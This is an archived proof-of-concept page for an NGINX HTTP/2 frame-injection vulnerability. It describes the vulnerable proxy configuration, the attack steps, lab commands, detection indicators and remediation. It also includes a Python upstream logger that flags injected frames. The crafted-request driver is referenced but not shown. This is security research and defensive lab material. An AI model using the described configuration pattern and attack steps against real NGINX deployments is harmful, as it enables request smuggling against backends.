PoC Archive PoC Archive
High CVE-2026-42926 patched

NGINX HTTP/2 Frame Injection via Vulnerable Upstream Proxying (CVE-2026-42926)

by ikarolaborda · 2026-07-05

Severity
High
CVE
CVE-2026-42926
Category
web
Affected product
NGINX (HTTP/2 upstream proxying)
Affected versions
1.29.4 through 1.30.0 (fixed in 1.30.1+ / 1.31.0+)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherikarolaborda
CVE / AdvisoryCVE-2026-42926
Categoryweb
SeverityHigh
CVSS ScoreN/A
StatusPoC
Tagsnginx, http2, frame-injection, reverse-proxy, request-smuggling, docker-lab
RelatedN/A

Affected Target

FieldValue
Software / SystemNGINX (HTTP/2 upstream proxying)
Versions Affected1.29.4 through 1.30.0 (fixed in 1.30.1+ / 1.31.0+)
Language / PlatformC (NGINX core), PHP/Python lab tooling
Authentication RequiredNo
Network Access RequiredYes (HTTP access to the vulnerable proxy location)

Summary

CVE-2026-42926 is an HTTP/2 frame injection issue in NGINX that occurs when a specific vulnerable proxy configuration is used — proxying to an upstream over HTTP/2 (proxy_http_version 2) while forwarding a client-controlled request body via a variable (proxy_set_body $request_body) with a large client_max_body_size. Under this configuration, attacker-controlled bytes in the client request body can be interpreted as raw HTTP/2 frame data by the upstream connection, allowing frame-level injection into the proxied HTTP/2 stream. The lab in this repository builds NGINX from source (vulnerable and patched versions), runs a controlled raw HTTP/2 “upstream logger” to capture what the upstream actually receives, and provides a PHP validation harness that issues a crafted request and inspects the upstream logs for injected-frame evidence, comparing vulnerable vs. patched behavior.


Vulnerability Details

Root Cause

When NGINX is configured to proxy to an upstream using HTTP/2 (proxy_http_version 2) and to forward the client request body through a variable (proxy_set_body $request_body) rather than the standard request body passthrough, a large (up to client_max_body_size, e.g. 16MB+) attacker-controlled body can contain byte sequences that get placed onto the HTTP/2 connection to the upstream in a way that the upstream can parse as additional/injected HTTP/2 frames, rather than purely as opaque body payload. This breaks the expected isolation between the request body and the framing layer of the proxied connection.

Attack Vector

  1. Attacker identifies (or is provided, in this lab) a location configured with the vulnerable proxy pattern: proxy_http_version 2, proxy_set_body $request_body, and a sufficiently large client_max_body_size.
  2. Attacker crafts a large request body (up to ~16MB in this lab) containing byte sequences designed to be interpreted as HTTP/2 frame headers/payloads once placed on the upstream HTTP/2 connection by NGINX.
  3. The request is sent to the vulnerable /exploit location; NGINX proxies it upstream over HTTP/2.
  4. The lab’s controlled upstream_frame_logger.py (acting as the upstream) parses the raw frames it receives and logs metadata, including any indication that injected/attacker-controlled frame-like data reached it outside the intended body framing.
  5. The PHP driver (cve_2026_42926_lab.php) checks preconditions (NGINX version, config pattern), sends the crafted request, and correlates the upstream log evidence with the run to return a positive (vulnerable), negative (not vulnerable), or inconclusive verdict.

Impact

Frame-level injection into HTTP/2 connections between NGINX and its upstream, which can lead to request smuggling-like effects, response confusion, or unauthorized frame injection between the proxy and backend — undermining the isolation assumptions of the reverse-proxy trust boundary.


Environment / Lab Setup

Target:   NGINX 1.29.4 (vulnerable) built from source, vs. 1.30.1+ (patched), with the vulnerable proxy_pass/proxy_http_version 2 config
Attacker: bash, python3, php (with cURL extension), or Docker + Docker Compose for the containerized lab

Proof of Concept

PoC Script

See cve_2026_42926_lab.php, nginx_vulnerable.conf, docker/nginx_vulnerable.docker.conf, nginx_config_verify.sh, upstream_frame_logger.py, run_lab_comparison.sh, Dockerfile, and docker-compose.yml in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
docker compose build
docker compose up -d upstream nginx
docker compose --profile run run --rm runner

python3 upstream_frame_logger.py 8081 ./upstream_logs
/path/to/nginx -c "$PWD/nginx_vulnerable.conf"
php cve_2026_42926_lab.php http://localhost/exploit ./upstream_logs ./nginx_config_verify.sh /path/to/nginx "$PWD/nginx_vulnerable.conf" /exploit

VULNERABLE_NGINX=/usr/local/nginx_1.29.4/sbin/nginx \
PATCHED_NGINX=/usr/local/nginx_1.30.1/sbin/nginx \
bash run_lab_comparison.sh

Running the comparison harness starts the controlled upstream logger and both NGINX builds against the same vulnerable proxy configuration, sends the same crafted request to each, and writes vulnerable_result.txt / patched_result.txt plus per-run upstream log directories — demonstrating injection evidence present against the vulnerable build and absent against the patched build.


Detection & Indicators of Compromise

Signs of compromise:

  • Upstream application/service logs showing HTTP/2 protocol errors, unexpected frame types, or stream state anomalies correlated with proxied requests
  • NGINX access logs with unusually large request bodies to proxy locations using HTTP/2 upstream connections
  • Backend behavior inconsistent with the request NGINX was expected to forward (evidence of frame confusion/injection)

Remediation

ActionDetail
Primary fixUpgrade NGINX to 1.30.1+ / 1.31.0+, which fix the HTTP/2 frame injection issue
Interim mitigationAvoid the proxy_http_version 2 + proxy_set_body $request_body combination for untrusted client input; keep client_max_body_size as low as operationally feasible; monitor upstream services for anomalous HTTP/2 frame behavior

References


Notes

Mirrored from https://github.com/ikarolaborda/CVE2026-42926 on 2026-07-05.

upstream_frame_logger.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
#!/usr/bin/env python3
"""
upstream_frame_logger.py - Raw HTTP/2 Frame Logger for CVE-2026-42926
Complete schema with HTTP/2 preface handling and injection detection
"""

import socket
import struct
import json
import sys
import os
import threading
from datetime import datetime
from typing import Optional, Dict, List, Tuple

# HTTP/2 Frame Types
FRAME_TYPES = {
    0x00: 'DATA',
    0x01: 'HEADERS',
    0x02: 'PRIORITY',
    0x03: 'RST_STREAM',
    0x04: 'SETTINGS',
    0x05: 'PUSH_PROMISE',
    0x06: 'PING',
    0x07: 'GOAWAY',
    0x08: 'WINDOW_UPDATE',
    0x09: 'CONTINUATION'
}

# HTTP/2 Connection Preface
HTTP2_PREFACE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'

class HTTP2FrameLogger:
    def __init__(self, port: int = 8081, log_dir: str = "./upstream_logs"):
        self.port = port
        self.log_dir = log_dir
        os.makedirs(log_dir, exist_ok=True)
        self.frames: List[Dict] = []
        self.frame_index = 0
        self.connection_id = datetime.now().strftime('%Y%m%d_%H%M%S_%f')
        self.log_file = os.path.join(log_dir, f"frames_{self.connection_id}.json")
        self.lock = threading.Lock()
        self.raw_byte_offset = 0
        self.connection_start = datetime.now().isoformat()
        self.preface_skipped = False

    def parse_frame_header(self, data: bytes) -> Optional[Dict]:
        """Parse 9-byte HTTP/2 frame header"""
        if len(data) < 9:
            return None

        # Length: 3 bytes, Type: 1 byte, Flags: 1 byte, Stream ID: 4 bytes
        length = struct.unpack('!I', b'\x00' + data[0:3])[0]
        frame_type = data[3]
        flags = data[4]
        stream_id = struct.unpack('!I', data[5:9])[0] & 0x7FFFFFFF

        return {
            'length': length,
            'type': FRAME_TYPES.get(frame_type, f'UNKNOWN({frame_type})'),
            'type_code': frame_type,
            'flags': flags,
            'stream_id': stream_id,
            'raw_header': data[0:9].hex(),
            'raw_header_bytes': data[0:9]
        }

    def log_frame(self, frame_info: Dict, payload: bytes,
                  byte_offset: int, is_injected: bool = False,
                  injection_reason: str = None, run_id: str = None,
                  crafted_frame_header_hex: str = None):
        """Log a complete frame with injection detection metadata"""
        with self.lock:
            self.frame_index += 1

            frame_data = {
                'frame_index': self.frame_index,
                'timestamp': datetime.now().isoformat(),
                'connection_id': self.connection_id,
                'direction': 'nginx_to_upstream',
                'stream_id': frame_info['stream_id'],
                'frame': frame_info,
                'payload_hex': payload.hex() if payload else None,
                'payload_ascii': payload.decode('utf-8', errors='replace') if payload else None,
                'payload_length': len(payload) if payload else 0,
                'byte_offset': byte_offset,
                'is_injected': is_injected,
                'injection_reason': injection_reason,
                'run_id': run_id,
                'crafted_frame_header_hex': crafted_frame_header_hex,
                'observed_frame_header_hex': frame_info['raw_header'],
                'observed_frame_matches_crafted_frame': (
                    crafted_frame_header_hex == frame_info['raw_header']
                    if crafted_frame_header_hex else None
                ),
                'completion_flag': True
            }

            self.frames.append(frame_data)

            print(f"[+] Frame #{self.frame_index}: {frame_info['type']} | "
                  f"Stream: {frame_info['stream_id']} | Length: {frame_info['length']} | "
                  f"Injected: {frame_data['is_injected']} | Reason: {injection_reason or 'N/A'}")

    def save_log(self):
        """Save all frames to JSON with complete metadata"""
        with self.lock:
            with open(self.log_file, 'w') as f:
                json.dump({
                    'connection_id': self.connection_id,
                    'connection_start': self.connection_start,
                    'frame_count': len(self.frames),
                    'frames': self.frames,
                    'metadata': {
                        'logger_version': '6.0',
                        'cve': 'CVE-2026-42926',
                        'timestamp': datetime.now().isoformat(),
                        'preface_skipped': self.preface_skipped,
                        'schema': {
                            'connection_id': 'unique connection identifier',
                            'direction': 'nginx_to_upstream',
                            'stream_id': 'HTTP/2 stream identifier',
                            'frame_index': 'sequential frame number',
                            'byte_offset': 'raw byte offset in connection',
                            'is_injected': 'injection detected flag',
                            'injection_reason': 'reason for injection detection',
                            'run_id': 'lab run identifier for correlation',
                            'crafted_frame_header_hex': 'frame header sent in request body',
                            'observed_frame_header_hex': 'frame header received upstream',
                            'observed_frame_matches_crafted_frame': 'comparison result',
                            'completion_flag': 'frame fully parsed'
                        }
                    }
                }, f, indent=2)
            print(f"[+] Saved {len(self.frames)} frames to: {self.log_file}")
            return self.log_file

class HTTP2UpstreamServer:
    def __init__(self, port: int = 8081, log_dir: str = "./upstream_logs"):
        self.port = port
        self.logger = HTTP2FrameLogger(port, log_dir)
        self.running = True
        self.connections = []
        self.crafted_frame_header_hex = None

    def set_crafted_frame_header(self, hex_string: str):
        """Set the crafted frame header hex for comparison"""
        self.crafted_frame_header_hex = hex_string

    def handle_connection(self, client_socket: socket.socket, addr):
        """Handle raw HTTP/2 connection and log frames with injection detection"""
        client_socket.settimeout(30)
        buffer = b''
        byte_offset = 0

        try:
            while self.running:
                chunk = client_socket.recv(4096)
                if not chunk:
                    break
                buffer += chunk

                # Skip HTTP/2 connection preface if present
                if not self.logger.preface_skipped and buffer.startswith(HTTP2_PREFACE):
                    buffer = buffer[len(HTTP2_PREFACE):]
                    byte_offset += len(HTTP2_PREFACE)
                    self.logger.preface_skipped = True
                    print(f"[+] HTTP/2 preface skipped ({len(HTTP2_PREFACE)} bytes)")

                # Parse frames from buffer
                while len(buffer) >= 9:
                    frame_header = self.logger.parse_frame_header(buffer)
                    if not frame_header:
                        break

                    # Extract payload
                    payload_start = 9
                    payload_end = 9 + frame_header['length']

                    if len(buffer) < payload_end:
                        break  # Wait for more data

                    payload = buffer[payload_start:payload_end]

                    # Detect injection based on frame characteristics
                    is_injected, injection_reason = self._detect_injection(
                        frame_header, payload, byte_offset
                    )

                    # Extract run_id from payload if present
                    run_id = None
                    if payload:
                        try:
                            payload_str = payload.decode('utf-8', errors='replace')
                            if 'CVE2026_42926_' in payload_str:
                                # Extract run_id from marker
                                import re
                                match = re.search(r'CVE2026_42926_[a-zA-Z0-9_]+', payload_str)
                                if match:
                                    run_id = match.group(0)
                        except:
                            pass

                    self.logger.log_frame(
                        frame_header, payload, byte_offset,
                        is_injected, injection_reason, run_id,
                        self.crafted_frame_header_hex
                    )

                    # Update byte offset
                    byte_offset += 9 + frame_header['length']

                    # Remove processed frame from buffer
                    buffer = buffer[payload_end:]

        except socket.timeout:
            print("[+] Connection timeout")
        except Exception as e:
            print(f"[!] Error: {e}")
        finally:
            client_socket.close()
            self.logger.save_log()

    def _detect_injection(self, frame_header: Dict, payload: bytes, byte_offset: int) -> Tuple[bool, Optional[str]]:
        """Detect if frame was injected from request body bytes"""
        # Condition 1: Frame header bytes match known injection pattern
        # Check for DATA frame with any length on stream 1 (client-initiated)
        if frame_header['type'] == 'DATA' and frame_header['stream_id'] == 1:
            # Check if payload contains CVE marker pattern
            if payload and b'CVE2026_42926_' in payload:
                return True, 'marker_found_in_data_frame_payload'

        # Condition 2: DATA frame with length 0 after large body (wrapped frame)
        if frame_header['type'] == 'DATA' and frame_header['length'] == 0:
            return True, 'zero_length_data_frame_after_large_body'

        # Condition 3: Unexpected frame type in request body path
        if frame_header['type'] in ['HEADERS', 'SETTINGS', 'PING'] and byte_offset > 1000:
            return True, 'unexpected_frame_type_in_body_path'

        return False, None

    def run(self):
        """Start the server"""
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind(('0.0.0.0', self.port))
        server.listen(5)
        print(f"[+] HTTP/2 Frame Logger listening on port {self.port}")
        print(f"[+] Log directory: {self.logger.log_dir}")

        while self.running:
            client_socket, addr = server.accept()
            print(f"[+] Connection from {addr}")
            self.handle_connection(client_socket, addr)

if __name__ == "__main__":
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 8081
    log_dir = sys.argv[2] if len(sys.argv) > 2 else "./upstream_logs"
    server = HTTP2UpstreamServer(port, log_dir)
    server.run()